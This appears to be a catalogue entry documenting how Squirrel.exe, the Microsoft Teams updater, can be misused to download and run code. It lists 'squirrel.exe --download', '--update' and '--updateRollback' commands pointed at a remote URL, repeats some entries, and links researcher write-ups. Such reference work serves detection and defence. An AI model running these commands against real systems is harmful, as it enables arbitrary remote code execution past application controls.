Squirrel.exe
Full path
C:\Users\<username>\AppData\Local\Microsoft\Teams\current\Squirrel.exeCommands
Download binary
squirrel.exe --download {REMOTEURL}The above binary will go to url and look for RELEASES file and download the nuget package.
os: Windows 7 and up with Microsoft Teams installed
Download and execute binary
squirrel.exe --update {REMOTEURL}The above binary will go to url and look for RELEASES file, download and install the nuget package.
os: Windows 7 and up with Microsoft Teams installed
Download and execute binary
squirrel.exe --update {REMOTEURL}The above binary will go to url and look for RELEASES file, download and install the nuget package.
os: Windows 7 and up with Microsoft Teams installed
Download and execute binary
squirrel.exe --updateRollback={REMOTEURL}The above binary will go to url and look for RELEASES file, download and install the nuget package.
os: Windows 7 and up with Microsoft Teams installed
Download and execute binary
squirrel.exe --updateRollback={REMOTEURL}The above binary will go to url and look for RELEASES file, download and install the nuget package.
os: Windows 7 and up with Microsoft Teams installed
Detection
Code samples
Resources
- https://www.youtube.com/watch?v=rOP3hnkj7ls
- https://twitter.com/reegun21/status/1144182772623269889
- http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
- https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
- https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56
acknowledgement: Reegun J (OCBC Bank) @reegun21, Adam @Hexacorn